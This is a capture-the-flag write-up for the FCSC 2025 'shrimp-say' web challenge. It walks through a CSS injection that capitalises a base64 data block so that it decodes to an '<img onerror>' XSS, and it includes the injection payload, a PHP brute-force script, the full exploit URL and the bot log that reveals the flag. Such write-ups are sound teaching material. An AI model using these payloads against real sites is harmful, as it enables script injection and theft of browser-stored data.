Shrimp-Say [EN]| FCSC 2025

- 3 mins read

Introduction

The challenge presents us with a web application called “shrimp-say” and a bot service to interact with:

The web application allows users to manipulate two parameters, msg and bg, in its URL:

https://shrimp-say.fcsc.fr/?msg=Hello%20Shrimp&bg=lightblue

These are reflected on the page:

<style>    
    body {
      background-color: lightblue;
    }
   ... 
</style>

...

<div class="speech-bubble">Hello Shrimp</div>

Parameters Analysis

  • msg: This parameter undergoes filtering to prevent the inclusion of the < character, which could be used for HTML content injection.
function redirect($msg, $bg)
{
  header("Location: /?msg=$msg&bg=$bg");
  die();
}

...

$msg = $_GET['msg'] ?? "Hello World";
...
if (strpos($msg, "<") !== false) {
  redirect("NO XSS", "red");
}
  • bg: Assigns a background color, but HTML encodes input, preventing straightforward XSS . However, it presents an opportunity for CSS injection.
<head>
  <link rel="icon" href="data:,">
  <style>
    
    body {
      background-color: <?= htmlentities($bg) ?>;
    }
    
    ...

Vulnerability Exploration

The flag is stored in the local storage which quickly led me to conclude that javascript execution was required.

await page.evaluate((flag) => {
    localStorage.setItem("flag", flag);
  }, FLAG);

The application stores the msg parameter’s (filtered) result as a Base64 encoded string within a <script> tag:

Example

<script type="text/base64" id="data">SGVsbG8gU2hyaW1w</script>

Later, JavaScript decodes this Base64 string and inserts the resultant HTML into a <div>:

document.querySelector(".speech-bubble").innerHTML = atob(document.getElementById('data').innerText);

A discrepancy lies in the use of text/base64 as a MIME type within the <script> tag. This MIME type is invalid per MDN documentation . Consequently, content within this tag isn’t processed as JavaScript code but as a data block.

CSS Exploitation

Attempts to influence Base64 decoding directly were unsuccessful, as no character between 0 and 0x10FFFF decodes to < (except for 0x3c).

However, I discovered peculiar behavior with CSS transformations. Consider:

<div id="data" class="poc">abc</div>
<script>
console.log(atob(document.getElementById('data').innerText));
</script>

Output: abc

Adding CSS yields:

<style>
.poc {
  text-transform: uppercase;
}
</style>
<div id="data" class="poc">abc</div>
<script>
console.log(atob(document.getElementById('data').innerText));
</script>

Output: ABC

CSS transformations affected the text content before decoding in JavaScript, suggesting an attack vector.

Constructing the CSS Injection

By capitalizing only the first letter of the Base64 string (text-transform: capitalize;) and ensuring visibility (display: block;), we influence the text transformation pre-decoding.

CSS Injection Payload:

;}script{text-transform: capitalize;display: block;}

Base64 Manipulation to Inject HTML

Using PHP, I sought lowercase strings that, when capitalized, decode as <im.

<?php
for ($i = 0x00; $i <= 0xFF; $i++) {
  for ($j = 0x00; $j <= 0xFF; $j++) {
    for ($k = 0x00; $k <= 0xFF; $k++) {
      if ($i === 0x3C || $j === 0x3C || $k === 0x3C) {
        continue;
      }
      $urlEncoded = sprintf("%%%02X%%%02X%%%02X", $i, $j, $k);
      $char = urldecode($urlEncoded);
      $b64 = base64_encode($char);
      $decoded = base64_decode(ucfirst($b64));

      if (strpos($decoded, '<im') !== false) {
        echo "Encoded: $b64, Decoded: $decoded\n";
      }
    }
  }
}

The script finds that pGlt transforms to <im after capitalization. (PGlt)

Crafting a payload to inject JavaScript:

.img src/onerror=console.log(localStorage.getItem('flag'))>

The crafted URL for the bot interaction:

http://shrimp-say/?msg=%a4%69%6d%67%2f%73%72%63%2f%6f%6e%65%72%72%6f%72%3d%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%6c%6f%63%61%6c%53%74%6f%72%61%67%65%2e%67%65%74%49%74%65%6d%28%27%66%6c%61%67%27%29%29%3e&bg==;}script{text-transform:%20capitalize;display:%20block;}

Leads to the following base64:

pGltZy9zcmMvb25lcnJvcj1jb25zb2xlLmxvZyhsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnZmxhZycpKT4mYmc9PTt9c2NyaXB0e3RleHQtdHJhbnNmb3JtOiBjYXBpdGFsaXplO2Rpc3BsYXk6IGJsb2NrO30=

After applying the css, the base64 becomes

PGltZy9zcmMvb25lcnJvcj1jb25zb2xlLmxvZyhsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnZmxhZycpKT4mYmc9PTt9c2NyaXB0e3RleHQtdHJhbnNmb3JtOiBjYXBpdGFsaXplO2Rpc3BsYXk6IGJsb2NrO30=

This leads to the following HTML code:

<img src/onerror=console.log(localStorage.getItem('flag'))>

Flag

~/Desktop/tmp/FCSC » nc chall.fcsc.fr 2203
==========
Tips: Every console.log usage on the bot will be sent back to you :)
==========

Please provide the URL you want to visit:
http://shrimp-say/?msg=%a4%69%6d%67%2f%73%72%63%2f%6f%6e%65%72%72%6f%72%3d%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%6c%6f%63%61%6c%53%74%6f%72%61%67%65%2e%67%65%74%49%74%65%6d%28%27%66%6c%61%67%27%29%29%3e&bg==;}script{text-transform:%20capitalize;display:%20block;}

Starting the browser...
[T1]> New tab created!
[T1]> navigating        | about:blank

Setting the flag in the localStorage for http://shrimp-say/...
[T1]> navigating        | http://shrimp-say/?msg=Hello%20Shrimp&bg=lightblue

Going to the user provided link...
[T1]> navigating        | http://shrimp-say/?msg=%a4%69%6d%67%2f%73%72%63%2f%6f%6e%65%72%72%6f%72%3d%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%6c%6f%63%61%6c%53%74%6f%72%61%67%65%2e%67%65%74%49%74%65%6d%28%27%66%6c%61%67%27%29%29%3e&bg==;}script{text-transform:%20capitalize;display:%20block;}
[T1]> console.log       | FCSC{f6e865cb389605d91470af3b8555e4535463a1a56157c16c858fa8e9c5ff4513}

[ERROR] Invalid URL!

Conclusion

By leveraging CSS manipulation and an unconventional tag handling, we circumvent client-side restrictions to execute stored JavaScript. This enables the bot to retrieve the flag, showcasing an intricate mix of PHP, CSS, and JS vulnerabilities.